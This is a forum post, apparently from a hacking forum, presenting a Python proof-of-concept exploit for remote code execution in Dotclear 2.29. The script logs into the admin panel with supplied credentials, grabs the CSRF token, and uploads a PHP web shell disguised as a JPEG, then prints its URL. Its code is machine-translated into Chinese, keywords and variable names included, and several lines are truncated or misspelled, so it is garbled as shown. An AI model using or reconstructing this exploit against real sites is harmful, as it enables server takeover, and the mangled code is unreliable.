H

dotclear 2.29-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用title: dotclear 2.29-远程代码执行(RCE)
#发现了: AhmetümitBayram
#发现的日期: 26.04.2024
#供应商homepage: https://git.dotclear.org/explore/repos
#软件link:
#测试版本: v2.29(最新)
#在: MacOS上测试
导入请求
进口时间
导入随机
导入字符串
来自BS4进口美丽的小组
Def Generate_filename(Extension='。inc'):
返回''.join(random.choices(string.ascii_letters + string.digits,k=5)) +
扩大
def get_csrf_token(response_text):
汤=beautifutsoup(响应_text,'html.parser')
token=soup.find('输入',{'name':'xd_check'})
返回token ['value']如果doken其他
def登录(base_url,用户名,密码):
打印(“利用.”)
时间。
打印('登录.')
时间。
session=requests.session()
login_data={
'user_id':用户名,
'user_pwd':密码
}
login_url=f'{base_url}/admin/index.php?process=auth'
login_response=session.post(login_url,data=login_data)
如果login_response.text:中的“注销”
打印('登录成功!')
返回会话
其他:
打印(“登录失败!”)
没有返回
def upload_file(session,base_url,filename):
打印('shell准备.')
时间。
边界='--------------------------------- 376201441124932790524235275389'
标题={
'content-type': f'multipart/form-data;边界={boundary}',
'X-重新要求与:'xmlhttprequest'
}
csrf_token=get_csrf_token(session.get(f'{base_url})
/admin/index.php?process=media').text)
有效载荷=((
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'max_file_size \'\ r \ n \ r \ n'
F'2097152 \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'xd_check \'\ r \ n \ r \ n'
f'{csrf_token} \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'upfile [] \'; filename=\'{fileName}
\'\ r \ n'
f'content-type:图像/jpeg \ r \ n \ r \ n'
'html \ nbody \ nform方法=\'get \'name=\'?php Echo
basename($ _ server ['php_sers']);\'\ n'
'输入类型=\'text \'name=\'cmd \'autocus id=\'cmd \'size=\'80 \'\ ninput
type=\'submit \'值=\'execute \'\ n'
'/form \ npre \ n?
\ n?\ n/pre \ n/body \ n/html \ r \ n'
f' - {boundary} - \ r \ n'

upload_response=session.post(f'{base_url}
/admin/index.php?process=mediasortby=nameorder=ascnb=30page=1q=file_mode=gridfile_type=plugin_id=popup=popup=0select=0,
标题=标题,data=pareload.encode('utf-8'))
如果upload_response.status_code==200:
print(f'your shell准备就绪: {base_url}/public/{filename}')
其他:
打印(“利用失败!”)
def main(base_url,用户名,密码):
fileName=generate_filename()
会话=登录(base_url,用户名,密码)
如果Session:
upload_file(session,base_url,文件名)
如果name=='__ -Main __':
导入系统
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON SCRIPT.PY SITEURL用户名密码')
其他:
base_url=sys.argv [1]
用户名=sys.argv [2]
密码=sys.argv [3]
main(base_url,用户名,密码)
 
后退
顶部